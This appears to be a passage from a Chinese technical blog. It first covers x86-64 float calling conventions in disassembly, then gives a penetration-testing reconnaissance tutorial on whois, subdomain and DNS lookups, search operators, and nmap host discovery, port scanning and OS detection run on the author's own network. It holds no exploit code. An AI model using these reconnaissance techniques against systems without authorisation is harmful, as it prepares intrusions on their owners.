1176: 48 8d 64 24 f8 lea -0x8(%rsp),%rsp
117b: f3 0f 11 04 24 movss %xmm0,(%rsp)

;此后的八个参数恰好用8个媒体寄存器xmm0~7传递
1180: f3 0f 10 3d 84 0e 00 movss 0xe84(%rip),%xmm7 # 200c <_IO_stdin_used+0xc>
1187: 00
1188: f3 0f 10 35 80 0e 00 movss 0xe80(%rip),%xmm6 # 2010 <_IO_stdin_used+0x10>
118f: 00
1190: f3 0f 10 2d 7c 0e 00 movss 0xe7c(%rip),%xmm5 # 2014 <_IO_stdin_used+0x14>
1197: 00
1198: f3 0f 10 25 78 0e 00 movss 0xe78(%rip),%xmm4 # 2018 <_IO_stdin_used+0x18>
119f: 00
11a0: f3 0f 10 1d 74 0e 00 movss 0xe74(%rip),%xmm3 # 201c <_IO_stdin_used+0x1c>
11a7: 00
11a8: f3 0f 10 15 70 0e 00 movss 0xe70(%rip),%xmm2 # 2020 <_IO_stdin_used+0x20>
11af: 00
11b0: f3 0f 10 0d 6c 0e 00 movss 0xe6c(%rip),%xmm1 # 2024 <_IO_stdin_used+0x24>
11b7: 00

;蜜汁操作,就这个左边的参数搞特殊,非得用eax中转2一下,也是少见的64位机器上用到eax寄存器
11b8: 8b 05 6a 0e 00 00 mov 0xe6a(%rip),%eax # 2028 <_IO_stdin_used+0x28>
11be: 66 0f 6e c0 movd %eax,%xmm0

;参数准备完毕,可以调用函数func
11c2: e8 62 ff ff ff call 1129 <func>

;尾声
11c7: 48 83 c4 10 add $0x10,%rsp ;传递最右侧两个参数时压栈16字节,此时正好退回16个字节.调用者清理参数

;eax存放main函数的返回值0
11cb: b8 00 00 00 00 mov $0x0,%eax
11d0: c9 leave ;leave指令将栈中存放的rbp退还
11d1: c3 ret ;函数返回

;滥竽充数填充字节
11d2: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
11d9: 00 00 00
11dc: 0f 1f 40 00 nopl 0x0(%rax)

func函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0000000000001129 <func>:
1129: 55 push %rbp
112a: 48 89 e5 mov %rsp,%rbp
112d: f3 0f 11 45 fc movss %xmm0,-0x4(%rbp)
1132: f3 0f 11 4d f8 movss %xmm1,-0x8(%rbp)
1137: f3 0f 11 55 f4 movss %xmm2,-0xc(%rbp)
113c: f3 0f 11 5d f0 movss %xmm3,-0x10(%rbp)
1141: f3 0f 11 65 ec movss %xmm4,-0x14(%rbp)
1146: f3 0f 11 6d e8 movss %xmm5,-0x18(%rbp)
114b: f3 0f 11 75 e4 movss %xmm6,-0x1c(%rbp)
1150: f3 0f 11 7d e0 movss %xmm7,-0x20(%rbp)
1155: 90 nop
1156: 5d pop %rbp
1157: c3 ret

这里使用媒体寄存器传递的参数又压入栈中,这和前面我们学习过的x64linux使用的System V的整数传参时的约定是相同的

三个问题

1.movss 0xea0(%rip),%xmm0此处的0xea0(%rip)指向啥东西

使用ida64反编译观察

1
2
3
4
5
6
7
8
9
10
11
12
.text:000000000000115C                 movss   xmm0, cs:dword_2004
...
.rodata:0000000000002004 dword_2004 dd 41200000h ; DATA XREF: main+4↑r
.rodata:0000000000002008 dword_2008 dd 41100000h ; DATA XREF: main+16↑r
.rodata:000000000000200C dword_200C dd 41000000h ; DATA XREF: main+28↑r
.rodata:0000000000002010 dword_2010 dd 40E00000h ; DATA XREF: main+30↑r
.rodata:0000000000002014 dword_2014 dd 40C00000h ; DATA XREF: main+38↑r
.rodata:0000000000002018 dword_2018 dd 40A00000h ; DATA XREF: main+40↑r
.rodata:000000000000201C dword_201C dd 40800000h ; DATA XREF: main+48↑r
.rodata:0000000000002020 dword_2020 dd 40400000h ; DATA XREF: main+50↑r
.rodata:0000000000002024 dword_2024 dd 40000000h ; DATA XREF: main+58↑r
.rodata:0000000000002028 dword_2028 dd 3F800000h ; DATA XREF: main+60↑r

可以发现,该位置在只读变量rodata区,存了这么一个值0x41200000h

然而我们主函数中传递的是10啊,这存了一个鬼啊?

这就是IEEE754规定的浮点数存储方法了,下面我们可以算他一下

这个16进制数展开成一个32位二进制数为 \[ 0100'0001'0010'0000'0000'0000'0000'0000 \] 按照s,exp,frac划分开

s exp frac
0 1000 0010 010 0000 0000 0000 0000

对于一个32位的float,其exp占用k=8位,其frac占用n=23位

\(Bias=2^{k-1}-1=2^7-1=127(10)=0111'1111(2)\)

\(E=exp-Bias=1000'0010-0111'1111=0000'0011=3\)

\(M=1+frac=1+2^{-2}=\frac{5}{4}\)

\((-1)^s\times M\times 2^E=1\times \frac{5}{4}\times 2^3=10\)

正好是我们主函数中对func传递的参数中最右边那个

2.在最右侧两个参数压栈传递的时候

1
2
1164:	48 8d 64 24 f8       	lea    -0x8(%rsp),%rsp	;rsp=rsp-8,栈上申请8字节空间
1169: f3 0f 11 04 24 movss %xmm0,(%rsp) ;从xmm0搬到M[rsp]上

为啥每个参数要在栈上开8字节的空间?

后面func中将媒体寄存器中的参数压栈的时候却每个参数占用4字节的空间.

这也是x64Linux上System V的调用约定,参数传递的时候要8字节对齐,不管是int还是long还是double还是float,只要是用栈传递参数,就要每个参数8字节对齐

3.我们在main函数调用func时传递的参数都是立即数1,2,3,4,5,6,7,8,9,10

但是在汇编层面上为什么没有直接用立即数$1,$2这种,而是采用PC相对寻址,去.rodata区找变量呢?

115c: f3 0f 10 05 a0 0e 00 movss 0xea0(%rip),%xmm0

这是浮点常数和整数常数的区别

与浮点操作相关的指令,不能以立即数作为操作数,编译器必须为所有常数分配和初始化存储空间

将常数写入内存,然后采用各种寻址方法去找常数

返回值约定

如果一个函数返回值为浮点类型,会使用什么寄存器返回呢?eax还是xmm0?

1
2
3
4
float func(){
return 1.0;
}

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/float]
└─# gcc main.c -O0 -c -o main.o

┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/float]
└─# objdump main.o -d > main.s

main.s

1
2
3
4
5
6
7
0000000000000000 <func>:
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: f3 0f 10 05 00 00 00 movss 0x0(%rip),%xmm0 # c <func+0xc>
b: 00
c: 5d pop %rbp
d: c3 ret

用的xmm0寄存器传递浮点参数

今天是你的生日,但是有什么可以值得庆祝的呢?你就是一风暴兵罢了

渗透测试信息收集

域名信息收集

Whois域名信息收集

whois是一个标准互联网协议,用于收集注册域名,IP地址,自治系统信息,whois数据库中记录有该域名的DNS服务器信息和注册人的联系信息

在linux上直接用whois <domain>或者whois <ip_addreess>

使用whois --help可以查看帮助

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿Executor)-[/home/kali]
└─# whois baidu.com
Domain Name: BAIDU.COM
Registry Domain ID: 11181110_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2022-01-25T09:00:46Z
Creation Date: 1999-10-11T11:05:17Z
Registry Expiry Date: 2026-10-11T11:05:17Z
Registrar: MarkMonitor Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
Registrar Abuse Contact Phone: +1.2086851750
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
Name Server: NS1.BAIDU.COM
Name Server: NS2.BAIDU.COM
Name Server: NS3.BAIDU.COM
Name Server: NS4.BAIDU.COM
Name Server: NS7.BAIDU.COM
DNSSEC: unsigned
image-20220603174503238

在windows上不能使用whois命令,但是可以去站长之家或者爱站网查询

站长之家

站长工具-爱站网

子域名信息收集

搜索引擎方法

1
2
3
site:<domain>
e.g.
site:dustball.top
image-20220603174616042

爬虫方法

burpsuite add new scan

比如爬某个学校的物理实验网站

image-20220603222904097

子域名查询网站

爱站网

站长之家

比如查询某H电影的网站

image-20220603223504262
image-20220603223604889

他木有子域名

本地工具

Layer子域名挖掘机

windows上的子域名挖掘工具

image-20220603223947457
wydomain

linux上的工具

备案号查询

SSL证书查询

crossdomain.xml文件

比如https://www.baidu.com/crossdomain.xml

1
2
3
4
5
6
7
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*.baidu.com"/>
<allow-access-from domain="*.bdstatic.com"/>
<allow-http-request-headers-from domain="*.baidu.com" headers="*"/>
<allow-http-request-headers-from domain="*.bdstatic.com" headers="*"/>
</cross-domain-policy>

DNS信息收集

DNS记录类型

DNS数据库是一个分布式数据库,每一台DNS服务器都存储了一些资源记录,作用是记录域名到IP地址的映射

资源记录是一个四元组(Name,Value,Type,TTL)

其中TTL是该条记录的生存时间,决定了资源记录应当从DNS服务器缓存中删除的时间

Type决定了记录的类型,Name和Value的意义都视Type而定

Type=A

Name=主机名

Value=该主机名对应的IP地址

A类记录提供了标准的域名到IP的映射

比如(deutschball.github.io,185.199.109.153,A)

显然这个记录应该由权威DNS服务器存储,当然其他各级DNS服务器都可以缓存,但是最终来源是权威DNS服务器.

Value指向的就是一台终端

Type=NS

Name=域

Value=该域中一台权威DNS服务器的主机名

权威DNS服务器:管理本域中的计算机IP和名称的映射.其作用类似于一个排的排长,其他计算机类似于班里的士兵,当其他班的士兵要找本班的许三多时,要先去找史班长问哪一个是许三多

这种记录的作用是路由DNS查询,啥意思呢?

比如(baidu.com,dns.baidu.com,NS)

在用户需要解析baidu.com时请求发往baidu.com域,然后这个域控(可能是域控?)会将该请求交给本域的DNS权威服务器dns.baidu.com去解析

Type=CNAME

Value是规范主机名,Name是该主机的别名

这个在搭建博客买域名的时候遇见过

本来的博客dns地址是deutschball.github.io,买了一个域名dustball.top,

在域名解析的时候并没有将dustball.topip地址直接挂钩,

而是增加了一条CNAME记录,将dustball.topdeutschball.github.io挂钩

实际解析成IP地址还是得指望原名和IP的A记录

Type=MX

Name=邮件服务器别名

Value=邮件服务器本名

MX记录允许邮件服务器具有简单的别名,通常是和web服务器同名,比如:

dustbal@mail.qq.com写成dustbal@qq.com实际上是一个地址

MX的作用和CNAME类似,但是为了获得邮件服务器的规范主机名就是得用MX记录,其他服务器的规范主机名用CNAME记录

DNS记录查询

nslookup命令

查询A记录
1
nslookup <域名>
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿Executor)-[~]
└─$ nslookup baidu.com
Server: 172.28.0.1
Address: 172.28.0.1#53

Non-authoritative answer:
Name: baidu.com
Address: 220.181.38.148
Name: baidu.com
Address: 220.181.38.251

抓包观察

image-20220603232445678
查询MX记录
1
nslookup -type=mx <域名>
1
2
3
4
5
6
7
8
9
10

┌──(root㉿Executor)-[/home/kali]
└─# nslookup -type=mx stu.xidian.edu.cn
main parsing stu.xidian.edu.cn
....
Non-authoritative answer:
printsection()
stu.xidian.edu.cn mail exchanger = 30 mx-edu.icoremail.net.

....
image-20220603232844820
查询NX记录
1
nslookup -type=nx <域名>
查询所有类型
1
nslookup -type=any <域名>
交互模式
1
nslookup

搜索引擎利用

基本搜索

逻辑与AND
image-20220603235155842
逻辑或
image-20220603235313124
逻辑非

如果搜索"调用约定"时

image-20220603235450822

不想看到CSDN的结果

调用约定 -csdn

image-20220603235527399
通配

使用通配符*

image-20220603235720991

进阶用法

限定站点范围
1
site:<站点>
image-20220603235947419
标题含有关键词
1
intitle "<keyword>"
image-20220604000132277
标题含有多组关键词
1
allintitle <keyword1> <keyword2>
image-20220604000632480
所有链接到某个URL地址的网页
1
link: <域名>
image-20220604000822823
含有关键字的url地址
1
inurl: <keyword>
image-20220604001059596
特定拓展名文件
1
filetype: <ex_name>

配合应用

在某网站下搜索含有某关键字标题的页面

image-20220604001749976

主机信息收集

1.主机开放的端口和服务

2.主机操作系统

常见端口及对应服务

image-20220604095959880

nmap

image-20220604100037232

命令行运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

┌──(root㉿Executor)-[/home/kali]
└─# nmap 192.168.43.44
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:01 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00058s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 5.04 seconds

GUI运行

image-20220604100256337

基本用法

nmap -T4 -A -v 192.168.43.44

-A:进攻性方式扫描

-T4:T后面的数字越大,扫描速度越快,越容易被防火墙发现.默认为-T4选项

-v:详细输出扫描情况,显示扫描细节

主机发现
-sL列出将要扫描的IP地址,但是不进行主机发现

比如已经写好了一个list.txt作为待扫描的ip地址集合,使用-sL -iL list.txt列出该集合

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿Executor)-[/home/kali/mydir]
└─# cat list.txt
192.168.43.44
192.168.43.1
192.168.43.2

┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -sL -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:08 CST
Nmap scan report for Executor (192.168.43.44)
Nmap scan report for 192.168.43.1
Nmap scan report for 192.168.43.2
Nmap done: 3 IP addresses (0 hosts up) scanned in 1.30 seconds
-sn/-sP只进行主机发现,不进行端口扫描

192.168.43.1是手机热点的ip地址,

192.168.43.44是本机Executor的ip地址

192.168.43.2是杜撰的一个ip地址

1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -sn -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:10 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00032s latency).
Nmap scan report for 192.168.43.1
Host is up (0.019s latency).
Nmap done: 3 IP addresses (2 hosts up) scanned in 2.54 seconds

运行结果显示192.168.43.1192.168.43.44在线,192.168.43.2不在线

如果不使用-sn选项,nmap首先进行主机发现,然后进行端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:12 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00044s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Nmap scan report for 192.168.43.1
Host is up (0.014s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain

Nmap done: 3 IP addresses (2 hosts up) scanned in 7.13 seconds
-Pn认为主机都存活,直接端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -Pn -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:13 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00029s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Nmap scan report for 192.168.43.1
Host is up (0.0063s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain

Nmap scan report for 192.168.43.2
Host is up (0.060s latency). #这里"host is up"是-Pn选项的作用,让nmap认为它在线,但是没有找到任何打开的端口
All 1000 scanned ports on 192.168.43.2 are in ignored states.
Not shown: 996 filtered tcp ports (no-response), 4 filtered tcp ports (host-unreach)

Nmap done: 3 IP addresses (3 hosts up) scanned in 14.64 seconds
-PS/PA/PU/PY使用各种协议方式进行扫描

如果不指定这四个之一,则默认使用TCP和ICMP两种方式分别进行主机发现

1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -sn -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:50 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00034s latency).
Nmap scan report for 192.168.43.1
Host is up (0.0054s latency).
Nmap done: 3 IP addresses (2 hosts up) scanned in 2.55 seconds
image-20220604105103155
-PS使用TCP SYN方式进行主机发现
1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -PS -sn -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:16 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00051s latency).
Nmap scan report for 192.168.43.1
Host is up (0.0080s latency).
Nmap done: 3 IP addresses (2 hosts up) scanned in 1.51 seconds
image-20220604101822988

运行nmap的wsl kali linux的ip地址是

1
2
3
4
5
6
7
8
9
10
┌──(root㉿Executor)-[/home/kali/mydir]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.30.195 netmask 255.255.240.0 broadcast 172.28.31.255
inet6 fe80::215:5dff:feeb:45a2 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:eb:45:a2 txqueuelen 1000 (Ethernet)
RX packets 2564 bytes 187120 (182.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10190 bytes 598185 (584.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

No.1由kali发往192.168.43.2,使用TCP协议的SYN包

No.2由kali发往192.168.43.44,使用TCP协议的SYN包

No.3由kali发往192.168.43.1,使用TCP协议的SYN包

No.4由192.168.43.44发往kali,使用TCP协议SYN,ACK包,kali只要收到该包就知道,129.168.43.44是存活的

No.5由kali发往192.168.43.44,使用TCP协议RST包,kali的主机发现目的已经达到,不再根192.168.43.44胡诌八扯,直接断开连接

RST标志位

RST表示复位,用来异常的关闭连接,在TCP的设计中它是不可或缺的。就像上面说的一样,发送RST包关闭连接时,不必等缓冲区的包都发出去(不像上面的FIN包),直接就丢弃缓存区的包发送RST包。而接收端收到RST包后,也不必发送ACK包来确认。

TCP处理程序会在自己认为的异常时刻发送RST包。例如,A向B发起连接,但B之上并未监听相应的端口,这时B操作系统上的TCP处理程序会发RST包。

又比如,AB正常建立连接了,正在通讯时,A向B发送了FIN包要求关连接,B发送ACK后,网断了,A通过若干原因放弃了这个连接(例如进程重启)。网通了后,B又开始发数据包,A收到后表示压力很大,不知道这野连接哪来的,就发了个RST包强制把连接关了,B收到后会出现connect reset by peer错误。

No.6由192.168.43.1发往kali,使用TCP协议RST,ACK包.

[RST,ACK]是什么含义呢?

在No.3kali发往192.168.43.1的SYN数据包中,目的端口是192.168.43.1:80

image-20220604102924144

但是前面我们已经扫描过了,192.168.43.1并未开放该端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:27 中国标准时间

Nmap scan report for 192.168.43.1

Host is up (0.011s latency).

Not shown: 999 closed tcp ports (reset)

PORT STATE SERVICE

53/tcp open domain

MAC Address: 92:74:8B:ED:5E:D6 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

于是No.6的意思就是,192.168.43.1对kali说:"你说的话我听见了(收到No.3),但是我听不懂(未开放No.3的目的端口)"

但是kali nmap不管这么多,kali nmap就是想知道192.168.43.1是死是活,即使是一个听不懂话的白痴,也是一个活着的,只要有回复,不管回复的啥都视为或者

kali始终没有收到192.168.43.2,nmap认为它不存在或者已经死了

-PA使用TCP协议ACK包进行主机发现
1
2
3
4
5
6
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -PA -sn -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:33 CST
Nmap scan report for 192.168.43.1
Host is up (0.010s latency).
Nmap done: 3 IP addresses (1 host up) scanned in 1.50 seconds
image-20220604103434323

No.201~No.203,kali向三个ip地址都发送了一个ACK包,

No.204,kali收到了192.168.43.1的回复,回复使用的是TCP协议RST包,意思是192.168.43.1只回了一个收到,但是不想进一步连接

然后No.205,No.206是kali对另外两个IP地址重复发送了ACK包,确保未收到它俩的信息不是路上的问题.

结果kali仍未收到它俩的回复,因此认为它俩不存在或者已死亡

但是192.168.43.44是或者的,为啥他不应答呢?

一些操作系统对于不规范的TCP连接请求会直接忽略,比如192.168.43.44上的

一些操作系统对于不规范的TCP连接会敷衍一下但是不建立连接,比如192.168.43.1上的

-PU使用UDP协议进行主机发现
1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -PU -sn -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:39 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00039s latency).
Nmap scan report for 192.168.43.1
Host is up (0.096s latency).
Nmap done: 3 IP addresses (2 hosts up) scanned in 1.64 seconds
image-20220604104140787

No.275~No.277,kali向三个ip地址发送了UDP数据报

No.278,No.279,两个目标ip使用ICMP数据报回复,但是192.168.43.2没有回复

NO.280kali向192.168.43.2再次询问"小老弟你怎么回事",但是仍然没有收到其答复,于是kali nmap认为小老弟死球了

-PY使用SCTP协议INIT包进行主机发现
1
2
3
4
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -PY -sn -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:44 CST
Nmap done: 3 IP addresses (0 hosts up) scanned in 2.17 seconds

真的太逊了,谁也没发现

image-20220604104524209

全都是kali发往其他ip的SCTP数据报,但是没有收到任何回复

端口扫描
端口状态
image-20220604110513885
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -p 80 -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 11:04 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00031s latency).

PORT STATE SERVICE
80/tcp open http

Nmap scan report for 192.168.43.1
Host is up (0.0089s latency).

PORT STATE SERVICE
80/tcp closed http

Nmap done: 3 IP addresses (2 hosts up) scanned in 2.69 seconds

本机192.168.43.44上的80端口就是open状态

192.168.43.1上的80端口就是close状态

netstat -n查看本机端口状态
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\86135> netstat -n

活动连接

协议 本地地址 外部地址 状态
TCP 127.0.0.1:28825 127.0.0.1:54530 ESTABLISHED
TCP 127.0.0.1:28826 127.0.0.1:28827 ESTABLISHED
TCP 127.0.0.1:28827 127.0.0.1:28826 ESTABLISHED
TCP 127.0.0.1:54530 127.0.0.1:28825 ESTABLISHED
TCP 192.168.43.44:28944 40.90.189.152:443 ESTABLISHED
TCP 192.168.43.44:29072 103.212.12.46:3000 ESTABLISHED
TCP 192.168.43.44:29910 61.150.43.81:443 CLOSE_WAIT
....
不指定参数

默认扫描端口1~1024加上nmap_services中列出的端口

nmap_services

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
tcpmux	1/tcp	0.001995	# TCP Port Service Multiplexer [rfc-1078] | TCP Port Service Multiplexer
tcpmux 1/udp 0.001236 # TCP Port Service Multiplexer
compressnet 2/tcp 0.000013 # Management Utility
compressnet 2/udp 0.001845 # Management Utility
compressnet 3/tcp 0.001242 # Compression Process
compressnet 3/udp 0.001532 # Compression Process
unknown 4/tcp 0.000477
rje 5/tcp 0.000000 # Remote Job Entry
rje 5/udp 0.000593 # Remote Job Entry
unknown 6/tcp 0.000502
echo 7/sctp 0.000000
echo 7/tcp 0.004855
echo 7/udp 0.024679
unknown 8/tcp 0.000013
discard 9/sctp 0.000000 # sink null
discard 9/tcp 0.003764 # sink null
discard 9/udp 0.015733 # sink null
unknown 10/tcp 0.000063
systat 11/tcp 0.000075 # Active Users
systat 11/udp 0.000577 # Active Users
unknown 12/tcp 0.000063
daytime 13/tcp 0.003927
daytime 13/udp 0.004827
unknown 14/tcp 0.000038
netstat 15/tcp 0.000038
unknown 16/tcp 0.000050
qotd 17/tcp 0.002346 # Quote of the Day
qotd 17/udp 0.009209 # Quote of the Day
msp 18/tcp 0.000000 # Message Send Protocol | Message Send Protocol (historic)
msp 18/udp 0.000610 # Message Send Protocol
chargen 19/tcp 0.002559 # ttytst source Character Generator | Character Generator
chargen 19/udp 0.015865 # ttytst source Character Generator
ftp-data 20/sctp 0.000000 # File Transfer [Default Data] | FTP
ftp-data 20/tcp 0.001079 # File Transfer [Default Data]
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 11:00 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00025s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh

Nmap scan report for 192.168.43.1
Host is up (0.0098s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain

Nmap done: 3 IP addresses (2 hosts up) scanned in 2.94 seconds

kali nmap对大量端口展开了轰炸

image-20220604110122323
-p <port>扫描指定端口

比如指定扫描list.txt中列出主机的80端口(http服务器端口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -p 80 -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 10:53 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00028s latency).

PORT STATE SERVICE
80/tcp open http

Nmap scan report for 192.168.43.1
Host is up (0.062s latency).

PORT STATE SERVICE
80/tcp closed http

Nmap done: 3 IP addresses (2 hosts up) scanned in 2.72 seconds
image-20220604105515492

确实Executor上开着一个Apache服务器,但是192.168.43.1手机上没有

-F快速模式,只扫描nmap-services中列出的端口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -F -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 11:02 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00050s latency).
Not shown: 96 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Nmap scan report for 192.168.43.1
Host is up (0.010s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain

Nmap done: 3 IP addresses (2 hosts up) scanned in 2.72 seconds

相对于不使用命令行参数的默认扫描方式,该种方式没有扫描到

1
2
902/tcp open  iss-realsecure
912/tcp open apex-mesh

操作系统检测

操作系统检测是基于端口扫描的

如果不指定扫描端口,却进行操作系统检测,是无效的

1
2
3
4
┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -O -A -sn -iL list.txt
WARNING: OS Scan is unreliable without a port scan. You need to use a scan type along with it, such as -sS, -sT, -sF, etc instead of -sn
QUITTING!
-O进行操作系统检测,-A进行版本检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

┌──(root㉿Executor)-[/home/kali/mydir]
└─# nmap -O -A -iL list.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-04 11:07 CST
Nmap scan report for Executor (192.168.43.44)
Host is up (0.00038s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=6/4%OT=80%CT=1%CU=37312%PV=Y%DS=2%DC=T%G=Y%TM=629ACC98
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=A
OS:)OPS(O1=MFFD7NW8ST11%O2=MFFD7NW8ST11%O3=MFFD7NW8NNT11%O4=MFFD7NW8ST11%O5
OS:=MFFD7NW8ST11%O6=MFFD7ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W
OS:6=FFDC)ECN(R=Y%DF=Y%T=7F%W=FFFF%O=MFFD7NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=7F%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=7F%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y
OS:%DF=Y%T=7F%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%
